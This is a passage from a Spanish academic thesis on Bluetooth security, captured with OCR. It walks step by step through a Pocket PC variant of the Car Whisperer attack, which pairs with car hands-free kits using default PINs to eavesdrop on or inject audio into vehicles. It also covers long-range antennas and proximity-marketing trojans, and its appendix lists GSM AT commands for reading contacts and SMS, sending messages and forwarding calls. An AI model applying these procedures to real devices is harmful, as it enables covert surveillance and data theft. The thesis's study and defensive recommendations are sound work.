0 Capturar el audio recogido por el micréfono del dispositivo, lo cual
permitiria escuchar conversaciones privadas en el interior del vehiculo.

0 Inyectar audio que seria reproducido por los altavoces del dispositivo, lo
cual permitiria proyectar mensajes de voz a los ocupantes del vehiculo.
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El ataque Car Whisperer original descubierto por el grupo Trifinite se basa en la
utilizacion de una herramienta para Linux escrita en BlueZ, que se puede obtener
en la direccion: http://trifinite.org/trifinite stuff carwhisperer.html

La variacion del ataque Pocket Car Whisperer respecto del ataque original es el
empleo de un equipo Pocket PC™ como plataforma de ataque. La ventaja
principal, a parte de que una Pocket PC™ resulta mas manejable y discreta que un
ordenador portatil, es que el ataque puede ejecutarse sin necesidad de utilizar una
herramienta disefiada especificamente para ese fin. Es posible llevar a cabo el
mismo tipo de ataque mediante la combinacion simple de varios elementos
presentes en Windows Mobile™.

El procedimiento para desarrollar un ataque Pocket Car Whisperer es el siguiente:

En primer lugar, se procede a escanear en busqueda de dispositivos Manos Libres
Bluetooth.

m Bluetooth o 4¢17:48 €3 m Bluetooth & o2 17249 Bluetooth o o 17:49

* Administrador de Bluetooth * Bluetooth * Asistente de conexién
Mis accesos directos Asistente de conexion Dispositivo de mancs libres

Ly Examinar archives remotos =
Conectar a un dispositivo Blustooth [~ | LV Dispositivo de manos libres
remoto para hacer una lista, enviar y -} Preparacidn de dispositivo
recibir archivos.,

»

Aszeguress de que =l dispositivo de manos
libres que esta intentando conectar esta listo
para recbir peticiones entrantes de conexion.
Consults 2l manual del dispositivo para
obtener mas informacidn.

Cuando | dispositivo st listo para s=r
conectado, togue "Siguients” para continuar
v seleccionar su dispositivo de manos libres

Puntee en Nuevo para acceder

S : libres o unos aur
3 otros dispositivos via Bluetooth para utiizar con s

—~, Conectarse a la red
Obtener acceso a Internet o a la red
local utiizando un PC o un punto de

acceso a la red de Blustooth. en la lista.
5%\." Unirme a una red personal -
{202 Conecte disnositives Blietonth nara
Mis accesos directos | Conexiones activas | £ Cancelar Siguiente g @ Cancelar < Atras Siguiente g
Ill|13'|.|v~|:||A Herramientas Ver &3 E|A El* E|A

Tras encontrar un dispositivo Manos Libres, el siguiente paso es realizar el
emparejamiento. Requiere conocer el cddigo de seguridad Bluetooth (clave PIN)
predeterminado que incluye el dispositivo por defecto: 1234, 0000, 8888...

Bluetooth o oz 17:50 Cnntraseﬁade Blw o o< 17:50 @
Asistente de conexién * Bluetooth

Dispositivo de manos libres Autenticacion

@ Dispositivo: |HFDD9 |

HFD0S

Contrasefia: |=** |

— Utilizacidn de esta pantalla
Intreduzca la contrasefia y puntes en
Aceptar para establecer una relacidn
de emparsiamiento con este
23 1[2[3[4]s]6][7[a]o]o] [i|«
Silalwlel[r[t]y[ulilo[p[+]c
MA‘-’I|a||8|d|f|9Ih|i|k||II|ﬁl@|
z ] {t [z]z][c]v[b[n]m].[.[-]+
@ Cancelar @ Atras oy Ctll|éﬁ|g|g| |-l-|1' P

View E|‘ @H
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Si el emparejamiento se ha producido satisfactoriamente, el gestor de conexiones

Bluetooth crea un acceso directo al perfil de auriculares ofrecido por el dispositivo
Manos Libres.

H Bluetooth & g 17:50 H Bluetooth o ¢ 1751 €3
Asistente de conexién * Administrador de Bluetooth

* Dispositivo de manos libres Mis accesos directos
o ™, Dispositivo de manos libres Q

; Configuracién completada =

Conexion

iYa puede conectar el dispositivo : de
seleccionado de manes libres! Después de auriculare...
tocar "Terminar” se establecera una
conexion.

e ha creado un acceso directo de conexidn
para su comodidad. Para establecer una
conexion en el futuro, togue este acceso
directo en el Administrador de Conexidn de
Bluetooth.

Finalizar ¢ Mis accesos directos | Conexiones activas |

E|* Nuevo|~ Herramientas Ver &) El‘

A continuacion, el atacante debe establecer una conexiéon con el Perfil de
Auriculares del dispositivo Manos Libres.

Bluetonth o ¢ 1751 €3 m Bluetooth o 42 1751 €9
Administrador de Bluetooth Administrador de Bluetooth
Mis accesos directos Mis accesos directos

£

Conexion
de
auriculare...

Cambiar nombre
Eliminar

Propiedades

Mis accesos directos | Conexiones activas | Mis accesos directos | Conexionss activas |

Huevo|« Herramientas Ver 3 El* Nuevo|+« Herramientas Ver ‘g3 E|A

Si la conexion se ha realizado con éxito, el atacante dispondra de acceso a las
funciones de audio soportadas por el perfil de auriculares:

o Capturar el audio recogido por el micréfono del dispositivo.

0 Inyectar audio que serd reproducido por los altavoces del dispositivo.
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Para realizar estas funciones de audio, el atacante puede hacer uso de la aplicacion
Micréfono incluida en Windows Mobile™.

Una vez establecida la conexion al Perfil de Auriculares y creada una pasarela de
audio estableciendo enlaces sincronos orientados a conexion (SCO) para la
transmisiéon de audio en ambas direcciones, el atacante podra llevar a cabo las
siguientes acciones:

0 Activar la aplicacion Micréfono del equipo Pocket PC™ y capturar en un
fichero el audio recogido por el micréfono del dispositivo Manos Libres.
Esto permitiria tener acceso a conversaciones privadas entre los ocupantes
del interior del vehiculo objetivo.

0 Grabar mensajes de voz por el micréfono del equipo Pocket PC™, que al ser
reproducidos durante una sesion de ataque, se proyectaran en el interior
del vehiculo objetivo a través de los altavoces del dispositivo Manos Libres,
con el consecuente sobresalto del conductor y del resto de pasajeros.

Adicionalmente, cualquier sonido o archivo de audio que se reproduzca en el
equipo Pocket PC™ sera proyectado a través de los altavoces del dispositivo
Manos Libres. Esto significa que si el atacante reproduce un archivo de musica en
la aplicacion Windows Media Player™, el sonido se escuchard en el interior del
vehiculo objetivo.

llnt-.ns o W€ 1752 €9 llnt-.ns o W€ 17:54 €3
E Todas las carpetas - Nombre ~ E Todas las carpetas - Nombre -
= Grabacidni 16:18 29,45 d]= Captura de conv... 20/01/06 18,8s
= Grabacién2 20/01/06 18,8s d]- Mensaje devoz  16:18 29,4s
d* Grabacién3 17:52 3,65
Windows Media Player 10
(@[] [I——=[w |wat]| [o]m]n]=F—— [w|wm]t] P — vI
Hue\ml* Herram. El* Hue\ml* Herram. El* Repr. en curso Mend
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5.1.5 - Adaptacion de herramientas de ataque a la
plataforma Nokia™ 770 Internet Tablet (Trifinite Group)

El equipo especializado en seguridad en Bluetooth Trifinite Group descubrio y
publico las vulnerabilidades mas importantes para teléfonos moviles Bluetooth:
Bluebug, Bluesnarf y HeloMoto. Actualmente se encuentra en fase de desarrollo
de aplicaciones de ataque a dispositivos Bluetooth para el equipo Tablet PC
Nokia™ 770 Internet Tablet, basado en Linux.

Por ahora han portado a esta plataforma algunas herramientas de explotacién de
vulnerabilidades como Bluebug o HeloMoto utilizando el entorno de desarrollo
Maemo; y tienen intencién de seguir desarrollando mas utilidades para este
dispositivo mobile definitivo.

Fuente: http://trifinite.org/

144



145



Capitulo

6

GO BEYOND!

146



6.1 — Aumento del alcance radio mediante
antenas direccionales

El alcance radio de los mddulos Bluetooth depende de su potencia de transmision.
Segun la potencia de transmision, los modulos Bluetooth se dividen en 3 clases:

o0 Clase 1: 100 mW /20 dBm, con un rango de ~100 m.
0 Clase2: 2.5 mW /4 dBm, con un rango de ~10 m.
0 Clase 3: 1 mW /0 dBm, con un rango de ~1 m.

Los dispositivos USB Bluetooth convencionales suelen ser de clase 1 6 2, con
alcances de hasta 100 metros. No obstante, en la actualidad algunos fabricantes

comercializan dispositivos USB Bluetooth con alcance de 125 y 150 metros.

USE Adapter Bluetooth EDR 2.0 150 mts

Extiende el alcance Bluetooth hasta 150
rmetros.

Fuente: http:/[www.zaapa.co.uk

Sin embargo, 150 metros siguen siendo insuficientes para ataques de largo alcance,
como The Car Whisperer. El ataque Car Whisperer tiene como objetivo
dispositivos Manos Libres de automdvil, de forma que resulta casi inviable para
un atacante seguir a un objetivo en movimiento para llevar a cabo el ataque.

Por todo ello, han surgido técnicas de modificacion de dispositivos Bluetooth que
permiten realizar conexiones con antenas direccionales externas capaces de
concentrar toda la emision de la sefal en una tnica direccion, ampliando
considerablemente el alcance hasta distancias proximas a los kilometros.

Algunos grupos dedicados al estudio de la seguridad en Bluetooth han publicado
en la red manuales para poder llevar a cabo las modificaciones precisas en los
modulos y procedimientos para la construccion de antenas direccionales capaces
de amplificar al maximo el alcance de la sefnial Bluetooth.

La utilizacion de este tipo de dispositivos amplificadores de sefial Bluetooth

permitiria a los atacantes aumentar el numero de dispositivos potenciales de
recibir ataques como The Car Whisperer o The Laptop Whisperer.
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6.1.1 — Bluetooone (Trifinite Group, 2005)

Bluetooone es un procedimiento desarrollado por Trifinite Group para conectar a
un dispositivo USB Bluetooth una antena externa que permita aumentar su rango
de cobertura y el nimero de objetivos potenciales a los que poder atacar.

En la pagina oficial http://trifinite.org/trifinite stuff bluetooone.html se
proporcionan instrucciones detalladas para acoplar a un dispositivo Bluetooh un
pigtail que permite conectarlo a una antena externa.

Fuente: http://trifinite.org/

Fuente: http://trifinite.org/
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Gracias al procedimiento Bluetooone, los miembros de Trifinite Group acoplan a
sus dispositivos USB Bluetooth antenas direccionales muy potentes que les
permiten desarrollar ataques como The Car Whisperer o Bluebug a dispositivos
Bluetooth situados a gran distancia del atacante.

Por un lado, Trifinite Group ha conseguido desarrollar ataques Car Whisperer
desde puntos estaticos situados en mitad de autopistas abarcando un gran niumero
de vehiculos potencialmente vulnerables.

Fuente: http://trifinite.org/

Por otro lado, un experimento llevado a cabo por Trifinite Group denominado Long
Distance Snarf permitié efectuar un ataque Bluebug sobre un teléfono movil
situado a 1.78 kilémetros de distancia.

i attackers

Fuente: http://trifinite.org/
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6.1.2 — Bluesniper (Flexilis, 2004)

Bluesniper se define como una herramienta hardware de auditoria de seguridad
en dispositivos Bluetooth. Consta de un rifle con mira telescopica que tiene
acoplada una antena direccional capaz de emitir una sefial Bluetooth hasta una
distancia de 1.5 km.

El soporte de la antena en forma de rifle ha sido elegido por estética y comodidad
en la sujecion, segin los fabricantes, aunque no deja de ser un aparato llamativo.

Bluesniper fue presentado en la convencion anual de hacking y seguridad
informatica Defcon 2004, que tuvo lugar en Las Vegas.

=
-
-
-
-
™
-
-
-
-

Fuente: http://www.ﬂexilis.om/
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El modelo de uso de Bluetooth Marketing de proximidad por envio de publicidad
permite a algunas companias llevar a cabo campanas publicitarias en las calles
basadas en el envio masivo de publicidad directa al teléfono movil a través de
Bluetooth. Emplean dispositivos emisores colocados en puntos estratégicos de
elevado transito de personas, capaces de enviar informacién personalizada que se
adecua al modelo de teléfono movil que recibe la informacion.

Aunque este modelo de uso Bluetooth fue inicialmente desarrollado por empresas
con fines comerciales, algunos ayuntamientos han comprobado el éxito de este
tipo de estrategias y han instalado sistemas de envio de informacion en puntos de
interés general, como zonas turisticas, aeropuertos, intercambiadores de
transporte publico, edificios histdricos y museos.

Fuente: http:/lwww.futurlink.com/

Ya se han llevado a cabo con éxito proyectos pilotos en Espafia, como la
distribucion del programa de eventos en la semana de fiestas de Bilbao, la
posibilidad de descarga de la guia interactiva durante la feria SIMO TCI 2005 o la
instalacion en grandes ciudades de marquesinas con Bluetooth para el envio de
merchandising relacionado con el estreno de una pelicula.

1
-

Desceargate GRATIS el salvapartalls y 2 aier de L 6-0160 DA VIN!

WCTIA N BLUTOOT WD TU Asdem - ACERCATE . EBT %

Fuente: http://wwz-v.aecomo.org/
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Debido al éxito de estas campanas publicitarias que emplean tecnologia Bluetooth,
su uso se esta extendiendo en las grandes ciudades originando la aparicion de una
nueva moda entre los usuarios de teléfonos moviles: dejar Bluetooth activado en el
dispositivo para recibir contenidos de publicidad mientras se transita por la
ciudad.

Por supuesto, esta moda resulta peligrosa para los usuarios de teléfonos moviles,
ya que exponen su dispositivo a potenciales ataques que afectan a
vulnerabilidades en teléfonos moviles, como Bluebug, Bluesnarf, HeloMoto o
Blueline. A pesar de que la mayoria de teléfonos moéviles modernos estan
protegidos frente a estas vulnerabilidades, algunos ataques siguen siendo factibles
si el atacante logra conseguir la autorizacidon para acceder a ciertos servicios que
no requieren autenticacion en el terminal.

En un escenario de zona urbana con abundantes campanas de marketing de
proximidad basadas en Bluetooth, un atacante podria disfrazar su ataque bajo un
envio de contenidos de publicidad, engafiando al usuario del teléfono movil para
que autorizara la conexidn con la esperanza de recibir algin paquete de
informacion interesante. Si el atacante consiguiera obtener autorizacion para
acceder a algun servicio no protegido, podria llegar a ser capaz de enviar virus y
software malicioso a través del Perfil de Carga de Objetos (OBEX Object Push) o
ejecutar comandos AT en el terminal como se describe en el ataque Blueline.

La aparicion en escena de gusanos para teléfonos moviles, como Cabir,
Commuwarrior y Lasco, que utilizan Bluetooth como medio de propagacion, hace
que sea factible desarrollar virus y gusanos para sistemas operativos de teléfonos
moviles, como Symbian™ OS o Windows Mobile™, en forma de aplicaciones
inofensivas tales como un salvapantallas o un tema para el interfaz del sistema.

En conclusion, el uso de campanfias de marketing de proximidad como medio para
disfrazar envios de objetos maliciosos a teléfonos moviles hace que puedan
disenarse aplicaciones denominadas troyanos que ejecutan codigo maligno bajo la
apariencia de un contenido de publicidad atractivo.

La recomendacion que ofrece el autor de este Proyecto Fin de Carrera es evitar
caer en la moda de dejar Bluetooth activado en el teléfono mdévil por defecto y sélo
activarlo en caso de necesidad para llevar a cabo una comunicaciéon con otro
dispositivo de confianza. Asi mismo, se recomienda no aceptar conexiones
provenientes de dispositivos no conocidos aunque éstas se presenten como
contenidos de publicidad inofensivos.
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Este proyecto de “Seguridad en Bluetooth” es un estudio general de los aspectos
relacionados con la seguridad del estandar de comunicaciones Bluetooth y su
implementacién en dispositivos. Por tratarse de un estudio cientifico, no tiene
sentido comercializar la idea y los tnicos productos que se han obtenido durante

el desarrollo de este proyecto son programas open-source distribuidos bajo licencia
GNU.

Sin embargo, para la realizacion del proyecto se ha necesitado disponer de una
gran variedad de equipos informaticos y dispositivos electronicos, que se detallan
a continuacion:

PC de sobremesa (~ 1400 €)

PC portatil (~ 1200 €)

Pocket PC™ Dell Axim x30 (~ 300 €)

Teléfono movil Nokia™ 6600 (~ 150 €)

Teléfono movil Sony-Ericsson™ T68 (~ 60 €)
Dispositivo Manos Libres Bluetooth MiniTooth (~ 84 €)
Dispositivo USB Bluetooth IOGEAR™ (~ 25 €)
Dispositivo USB Bluetooth Zaapa™ (~ 30 €)

En caso de querer llevar a cabo un estudio de las mismas caracterisiticas, seria
necesario disponer de un equipamiento informatico y electronico similar.

Todas las herramientas de auditoria de seguridad empleadas en el proyecto se

distribuyen libremente y el desarrollo software se ha llevado a cabo en Linux
Fedora Core 5.
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El estudio realizado por el proyecto “Seguridad en Bluetooth” ha demostrado que
los primeros modelos de dispositivos Bluetooth carecian de mecanismos robustos
de seguridad y presentaban vulnerabilidades que permitian a un atacante
comprometer el dispositivo, afectando a la privacidad del usuario propietario y a
la integridad del equipo.

Se ha demostrado que estas vulnerabilidades se deben principalmente a la escasa
preocupacion de los fabricantes por implantar mecanismos de seguridad en los
dispositivos que comercializan y se destaca el hecho de que el protocolo Bluetooth
es uno de los mas robustos que existen, ya que ofrece mecanismos de
autenticacion y cifrado de datos que aseguran el intercambio de comunicaciones
entre dispositivos.

A lo largo del proyecto se han documentado vulnerabilidades en dispositivos tales
como teléfonos moviles y equipos Manos Libres asi como técnicas de ataque
desarrolladas por equipos dedicados al estudio de la seguridad en Bluetooth. Estas
técnicas de ataque se basan en la utilizacion de herramientas capaces de
automatizar el proceso de explotacion de una vulnerabilidad y que permiten al
atacante obtener informacion sensible y comprometer la privacidad de usuarios de
dispositivos.

Con el fin de evitar ser victima de un ataque por medio de dispositivos Bluetooth,
se han dictado unas recomendaciones para el buen uso de la tecnologia Bluetooth
en aquellos equipos que la incorporan. Se trata de normas simples y de aplicacion
inmediata que deberian formar parte de la conducta habitual de un usuario de
dispositivos Bluetooth.

Por ultimo, se ha querido hacer especial hincapié¢ en el uso de Linux como
plataforma avanzada para el establecimiento de comunicaciones Bluetooth, ya que
ofrece una pila de protocolos, BlueZ, sencilla de manejar, con multitud de
herramientas a disposicién del usuario y con un entorno de desarrollo que
simplifica la programacion de potentes aplicaciones.

Como lineas de investigacidn futuras, se propone continuar con el estudio de
vulnerabilidades en los nuevos productos Bluetooth comercializados y la
publicacion de técnicas de ataque que permitan explotar esas fallas de seguridad
como unico medio para que tanto los fabricantes como los usuarios tomen
conciencia del riesgo que supone la comercializacion de dispositivos Bluetooth
vulnerables.
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Anexo I - Juego de comando AT GSM

Notacion empleada en las definiciones:

Comando AT: [Definicidén técnica]
- Funcionalidad del comando

- Sintaxis: Peticion | Respuesta
- Respuesta obtenida al comando

Comandos AT para operaciones basicas

AT+CPAS: [Phone Activity Status]

1) AT+CPAS=?

- Muestra la implementacién del comando.

Sintaxis: AT+CPAS=? | +CPAS: (lista de estados soportados)
- Ready (Encendido pero inactivo)

Unavailable (No disponible)

Unknown (Desconocido)

Ringing (Llamada entrante en proceso)

Call in progress (Llamada saliente en proceso)
- Asleep (Dormido)

Respuesta: +CMGD: (0,2,3,4)

I AR WNREFLOI
|

2) AT+CPAS

- Informa del estado de actividad del teléfono.

- Sintaxis: AT+CPAS | +CPAS: <estado>

- Respuesta: +CPAS: 0, en estado normal de inactividad.
+CPAS: 3, si el teléfono atacado estad sonando a causa de una
I lamada entrante.

ATD: [Dial Command]
- Inicia una llamada telefdnica
- Sintaxis: ATD64612345 para una llamada de Datos.
ATD64612345; para una llamada de Voz. (Importante ;)
ATD>"Alberto"; para llamar al contacto almacenado en
la agenda con el texto asociado Alberto.
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AT+CCFC: [Call Forwarding Number]

- Gestiona el Desvio de Llamadas. Permite redireccionar Ilamadas
entrantes a otro numero de teléfono.

- Sintaxis:

AT+CCFC=<razdbn>,<modo>,<numero>,<tipo>,<clase>, [<subaddr>,<satype>
, [<time>]]

<razoén> Razé6n por la cual entra en accién el desvio de llamada.
0 - incondicional

1 - si teléfono ocupado

2 - si no obtiene respuesta

3 - si i1nalcanzable

4 - todos los desvios de llamadas

5 - todos los desvios de llamadas condicionales

<modo> Estado del desvio de llamada.
0 - desahabilitado

habilitado

query status

registro

erasure (borrado)

A WNP
11

<nUmero> Cadena de texto con el numero de teléfono destino del
desvio de llamada. Se especifica en el formato indicado en el
campo <type>

<tipo> Tipo de cbédigo de direccién de teléfono:
145 - para coédigo internacional +
129 - en otro caso

<clase> Cbédigo que representa la clase de informacion que contiene
la Ilamada a desviar.

1 - voz
2 - datos
4 - fax

7 - cualquier clase (por defecto)

<time> Tiempo en segundos a esperar antes de desviar la llamada.
1..30 (por defecto, 20)

<status> Estado de la opcidén desvio de llamadas. (S6lo en
respuesta AT)

0 - no activo

1 — activo

- Ejemplo: Implementacién del comando en Blooover:
"AT+CCFC=0,3,\""+4913377001\", 145, 7\r""

Vemos que utiliza los siguientes parametros:

<razén> = 0, incondicional

<modo> = 3, registro

<nUmero> = +4913377001

<tipo> = 145, formato de cdédigo internacional

<clase> = 7, cualquier clase de informacion a desviar
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AT+CGMI : [Request Manufacturer Identification]

- Peticiodn de identificaciéon del Fabricante (Marca del teléfono).

- Sintaxis: AT+CGMM | <fabricante>
- Respuesta: Nokia Mobile Phones

AT+CGMM: [Request Model Identification]

- Peticidn de identificacion del modelo de teléfono.
- Sintaxis: AT+CGMM | <modelo>

- Respuesta: Nokia 6820

AT+CGSN: [Request Product Serial Number ldentification]

- Peticidn de identicacion del numero de serie del producto.
- Sintaxis: AT+CGSN | <IMEI>

- Respuesta: 1234567890987654321 (IMEI)

AT+CBC: [Battery Charge]
- Devuelve el estado de carga de la bateria.
- Sintaxis: AT+CBC | +CBC: <bcs>, <bcl>

<bcs> = 0 indica que el teléfono estd conectado a una bateria.
<bcl> = 0 indica que el teléfono tiene la bateria agotada.

= 1..100 indica el porcentaje de carga que aun queda por
agotar.

- Respuesta: +CBC:0,56

AT+CSQ: [Signal Quality]

- Devuelve el estado de calidad de la sefial de cobertura.
- Sintaxis: AT+CSQ | +CSQ: <rssi>,<ber>

<rssi> 0 indica -113 dBm o menos

1 indica -111 dBm

2..30 indica -109..-53 dBm

31 indica -51dBm o mas

99 indica desconocido

<ber> = 99 indica porcentaje desconocido

- Respuesta: +CSQ: 13,9
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Comandos AT para gestion de la agenda de contactos

AT+CPBS: [Select Phone Book Memory Storage]

1) AT+CPBS?

- Informa de los dispositivos de memoria que soporta el teléfono
para almacenar las distintas listas de contactos.

- Sintaxis: AT+CPBS? | +CPBS: "XX', donde "XX' se sustituye por el
dispositivo de almacenamiento:

"SM™ - SIM phonebook list [Lista de contactos de la agenda SIM]
"TA"™ - TA phonebook list [Lista de contactos del terminal]

"LD"™ - SIM last dialing list [Lista de numeros marcados]

"DC" - Dialled call list [Lista de llamadas realizadas]

"RC"™ - ME received calls list [Lista de llamadas recibidas]
"MC™ - ME missed call list [Lista de Ilamadas perdidas]

"EN" - Emergency number list [Lista de numeros de emergencia]

“"FD™ - SIM fix dialing list
“MT™ - ME + SIM combined list
"ON" - SIM o ME own number list
- Respuesta: +CPBS: "'SM"

2) AT+CPBS=""XX"

- Selecciona por defecto uno de los dispositivos de memoria que
soporta el teléfono para almacenar las listas de contactos.

- Sintaxis: AT+CPBS="XX", donde "XX" se sustituye por el
dispositivo de almacenamiento:

"SM"™ - SIM phonebook list [Lista de contactos de la agenda SIM]
“"TA™ - TA phonebook list [Lista de contactos del terminal]

"LD" - SIM last dialing list [Lista de numeros marcados]
"DC™ - Dialled call list [Lista de llamadas realizadas]
"RC" - ME received calls list [Lista de llamadas recibidas]

"MC" - ME missed call list [Lista de llamadas perdidas]
“"MT" - ME + SIM combined list
"ON" - SIM o ME own number list

AT+CPBR: [Read Phone Book Entry]

1) AT+CPBR=?

- Informa del tamafio de la agenda de contactos.

- Sintaxis: AT+CPBR=? | +CPBR: <(1-n)>,<nlen>,<tlen>

<(1-n)> indica el rango de indices que la agenda puede contener.
<nlen> indica la longitud maxima permitida para un numero de
teléfono.

<tlen> indica la longitud maxima permitida para el texto asociado
a ese numero (nombre del contacto).

- Respuesta: +CPBR: (1-150),48,14
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2) AT+CPBR=<indice>

- Leer una entrada de la agenda de contactos.

- Sintaxis: AT+CPBR=<indice inicial> [,<indice final>] | +CPBR:
<indice>, <ndmero>, <tipo>, <texto>

<indice> indica el indice de la agenda de contactos.

<numero> indica el numero de teléfono almacenado en el indice.
<tipo> indica el tipo de numero de teléfono 129 o 145 si incluye
el prefijo internacional +.

<text> indica el texto asociado al numero de teléfono,
normalmente, el nombre del contacto.

- Respuesta a AT+CPBR=8: +CPBR: 8,''646123456",129,"Pepito”

AT+CPBS;+CPBR [Leer una entrada de una lista de contactos
seleccionada]

- Primero elegimos la lista de contactos a la que queremos
acceder, y luego leemos una entrada por su indice.

Sintaxis: AT+CPBS="XX";+CPBR=<indice>, donde "XX" se sustituye por
el dispositivo de almacenamiento:

"SM*™ - SIM phonebook list [Lista de contactos de la agenda SIM]
“"TA™ - TA phonebook list [Lista de contactos del terminal]

"LD" - SIM last dialing list [Lista de numeros marcados]

"DC™ - Dialled call list [Lista de llamadas realizadas]

"RC™ - ME received calls list [Lista de llamadas recibidas]
"MC" - ME missed call list [Lista de llamadas perdidas]

"EN" - Emergency number list [Lista de numeros de emergencia]

"FD" - SIM fix dialing list

"MT"™ - ME + SIM combined list

"ON"™ - SIM o ME own number list

- EJempIo de Respuesta a AT+CPBS="DC'";+CPBR=2: +CPBR:
2,''646123456",129, " Alberto™

(Visualizamos el ultimo contacto al que hemos Ilamado).
AT+CPBS="MC" ;+CPBR=1: +CPBR: 1,''646987654",129,"Alberto"
(Visualizamos la ultima llamada perdida).

AT+CPBF: [Find Phone Book Entries]

- Devuelve la entrada de la agenda de contactos cuyo texto
asociado a un numero contiene la cadena alfanumérica
proporcionada.

- Sintaxis: AT+CPBF=""textoaencontrar™ | +CPBR: <indice>, <numero>,
<tipo>, <texto>

""textoaencontrar' es case-sensitive

<indice> indica el indice de la agenda de contactos.

<numero> indica el numero de teléfono almacenado en el indice.
<tipo> indica el tipo de tipo de numero de teléfono. Por defecto,
129 o 145 si incluye el prefijo internacional +.

<text> indica el texto asociado al numero de teléfono,
normalmente, el nombre del contacto.

- Respuesta a AT+CPBF="Alberto": +CPBF: 19,

"'646987654' ,129,""Alberto"
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AT+CPBW: [Write Phone Book Entry]

- Escribe una entrada en la agenda de contactos.

- Sintaxis: AT+CPBW = <indice>, <nuUmero>, <tipo>, <texto>
<indice> indica el indice de la agenda de contactos donde se
creara la entrada de contacto. Si no se proporciona indice, se
aflade la entrada en el primer hueco libre.

<numero> indica el numero de teléfono almacenado en el indice.
<tipo> indica el tipo de tipo de numero de teléfono. Por defecto,
129 o 145 si incluye el prefijo internacional +.

<text> indica el texto asociado al numero de teléfono,
normalmente, el nombre del contacto.

Nota: Si Unicamente se proporciona el campo del indice (omitiendo
el resto de campos), la entrada de la agenda asociada a ese indice
se borraréa.

- Ejemplo para crear un nuevo contacto:
AT+CPBW=,"'696224466',129,"Alberto"

Comandos AT para gestion de mensajes SMSs

AT+CMGF: [Message Format]

1) AT+CMGF=?

- Informa de los formatos de mensaje soportados por el teléfono
- Sintaxis: AT+CMGF=? | +CMGF: (0,1)

modo = 0 indica formato de mensajes en modo PDU

modo = 1 indica formato de mensajes en modo TEXTO

2) AT+CMGF?

- Informa del formato de mensajes que esta siendo utilizado
actualmente para los comandos enviar, listar, leer y escribir.
- Sintaxis: AT+CMGF? | +CMGF: <modo>

modo = O indica formato de mensajes en modo PDU

modo = 1 indica formato de mensajes en modo TEXTO

3) AT+CMGF=<modo>

- Establace el formato a utilizar para la entrada y salida de
mensajes.

- Sintaxis: AT+CMGF=<modo>

modo 0 indica formato de mensajes en modo PDU

modo 1 indica formato de mensajes en modo TEXTO

AT+CMGL: [List Messages]

1) AT+CMGL=?

- Informa de los posibles estados de un mensaje en la memoria que
el teléfono puede soportar.

- Sintaxis: (+CMGF=0) AT+CMGL=? | +CMGL: (0-4)

(+CMGF=1) AT+CMGL=? | +CMGL: ("'REC UNREAD'", "REC READ", "STO
UNSENT'™, "STO SENT', "ALL'™)

<estados>:

0 | "REC UNREAD": Almacenado en Bandeja de entrada y sin leer.
1 | "REC READ": Almacenado en Bandeja de entrada y leido.

2 | "STO UNSENT": Almacenado en Bandeja de salida y sin enviar.
3 | "STO SENT": Almacenado en Bandeja de salida y enviado.

4 | "ALL": Todos los mensajes almacenados.
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2) AT+CMGL=<estado>

- Lista todos los mensajes almacenados correspondientes al estado
especificado.

- Sintaxis: AT+CMGL=<estado> | +CGML: <indice>, <estado>,
<numero>, [otros parametros opcionales] ,
<timestamp><CR><LF><Cuerpo del mensaje>

<indice> Posicién que ocupa el mensaje SMS en la memoria.
<estado> Estado del mensaje.

<numero> Cadena de texto con el numero de teléfono origen del
mensaje.

<timestamp> Fecha y hora.

<CR><LF> Retorno de carro y salto de linea.

- Resultado a AT+CMGL="STO UNSENT":

+CMGL: 16,"STO UNSENT',''679123456",,

Hola! Esto es un sms almacenado en memoria. Luego puede ser
enviado... Salu2

AT+CMGR: [Read Message]

- Permite leer mensajes SMS de la bandeja de entrada.

- Sintaxis: AT+CMGR=<indice> | +CMGR: <estado>, <numero>, [otros
parametros] , <timestamp><CR><LF><Cuerpo del mensaje>

<indice> Posicién que ocupa el mensaje SMS en la memoria.
<estado> Estado del mensaje.

<nUumero> Cadena de texto con el numero de teléfono origen del
mensaje.

<timestamp> Fecha y hora.

<CR><LF> Retorno de carro y salto de linea

- Respuesta a AT+CMGR=1:

+CMGR: "REC READ","227',,"05/07/12,14:13:02+08"

Movistar info: Ahora, GRATIS, tus Llamadas Perdidas vienen con el
NOMBRE de la persona que te llamo, si esta en tu agenda. Para
volver al SMS del 200 Ilama 283

AT+CMGD: [Delete Message]

1) AT+CMGD=?

- Muestra la implementacién del comando.

- Sintaxis: AT+CMGD=? | +CMGD: (lista de indices
soportados)[,(lista de delflags soportadas)]

- Respuesta: +CMGD: (1-15),(0-4) //1-15 indica que la memoria SIM
puede almacenar de 1 a 15 mensajes SMS

2) AT+CMGD=<indice>

- Elimina el mensaje de indice especificado.

- Sintaxis: AT+CMGD=1 elimina el mensaje con indice 1, es decir,
el primer mensaje de la bandeja de entrada de mensajes SMS.
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AT+CMGW: [Write Message]

- Permite escribir un mensaje SMS en memoria (Bandeja de salida).

- Sintaxis: AT+CMGW=<numero> [Presionar CR]
> Escribimos el cuerpo del mensaje. [Presionar Ctrl-Z]

<numero> Cadena de texto con el numero de teléfono destino del
mensaje.

- Ejemplo:

AT+CMGW=""679123456"" [Presionar CR]

> Hola! Como estéas? Hace mucho g no te veo. Ciao. [Ctrl-Z]
Respuesta: +CMGW: <indice que ocupara en la memoria>

AT+CMGS: [Send Message]

- Permite enviar un mensaje SMS.

- Sintaxis: AT+CMGS=<numero> [Presionar CR]

> Escribimos el cuerpo del mensaje. [Presionar Ctril-Z]

<nUmero> Cadena de texto con el numero de teléfono destino del
mensaje.

- Ejemplo:

AT+CMGS="'679123456" [Presionar CR]

> Hola! Como estas? Hace mucho q no te veo. Ciao. [Ctrl-Z]
Respuesta: +CMGS: 213
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